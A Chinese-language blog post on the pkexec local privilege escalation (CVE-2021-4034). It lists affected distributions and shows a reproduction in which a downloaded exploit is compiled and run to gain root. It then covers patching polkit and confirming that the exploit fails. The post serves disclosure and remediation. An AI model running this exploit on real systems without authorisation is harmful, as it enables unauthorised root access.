漏洞概述
漏洞编号:CVE-2021-4034
漏洞威胁等级:高危
Qualys研究团队在polkit的pkexec中发现了一个内存损坏漏洞,该SUID根程序默认安装在每个主要的Linux发行版上。该漏洞非常容易利用,允许任何未经授权的用户通过在其默认配置中利用此漏洞,来获得易受攻击主机上的完全root权限。
影响范围
这个漏洞已经隐藏了13年多,自2009年5月以来的所有pkexec版本均受到影响。由于Polkit是系统预装工具,目前主流Linux版本均受影响。Linux系统广泛应用于工业基础设施、云计算、物联网、人工智能等领域,绝大多数关键基础设施管理服务器均使用Linux系统。
目前受影响的重要Linux发行版本:
代码语言:shell复制Ubuntu 21.10 (Impish Indri) < Released (0.105-31ubuntu0.1)
Ubuntu 21.04 (Hirsute Hippo) Ignored (reached end-of-life)
Ubuntu 20.04 LTS (Focal Fossa) < Released (0.105-26ubuntu1.2)
Ubuntu 18.04 LTS (Bionic Beaver) < Released (0.105-20ubuntu0.18.04.6)
Ubuntu 16.04 ESM (Xenial Xerus) < Released (0.105-14.1ubuntu0.5 esm1)
Ubuntu 14.04 ESM (Trusty Tahr) < Released (0.105-4ubuntu3.14.04.6 esm1)
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2
复现环境
代码语言:shell复制]# uname -r
3.10.0-862.el7.x86_64
]# cat /etc/redhat-release
CentOS Linux release 7.5.1804 (Core)
普通用户
代码语言:shell复制# 获取exp文件:
获取`exploit.c`地址:https://gitee.com/lutixiaya/cve-2021-4034.git
[lutixia@localhost ~]$ ls
evil-so.c exploit.c Makefile
[lutixia@localhost ~]$ id
uid=1001(lutixia) gid=1001(lutixia) groups=1001(lutixia)
编译exp,提权为root
代码语言:shell复制[lutixia@localhost ~]$ make
gcc -shared -o evil.so -fPIC evil-so.c
gcc exploit.c -o exploit
[lutixia@localhost ~]$ ls
evil.so evil-so.c exploit exploit.c Makefile
[lutixia@localhost ~]$ ./exploit
[root@localhost lutixia]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u
修复
代码语言:shell复制# 查看可用版本
[root@localhost ~]# yum list polkit
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
Installed Packages
polkit.x86_64 0.112-14.el7 @anaconda
Available Packages
polkit.i686 0.112-26.el7_9.1 updates
polkit.x86_64 0.112-26.el7_9.1 updates
# 升级
~]# yum update polkit -y
验证修复
代码语言:shell复制[lutixia@localhost ~]$ ls
evil.so evil-so.c exploit exploit.c Makefile
# 再次执行exp文件,提权失败!
[lutixia@localhost ~]$ ./exploit
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
Report bugs to: http://lists.freedesktop.org/mailman/listinfo/polkit-devel
polkit home page: <http://www.freedesktop.org/wiki/Software/polkit>
快去检查下你的服务器是不是暴露在危险之中吧,赶紧修复起来!
你要是喜欢这篇文章的话,帮忙点赞呀,你的喜欢就是我原创的动力!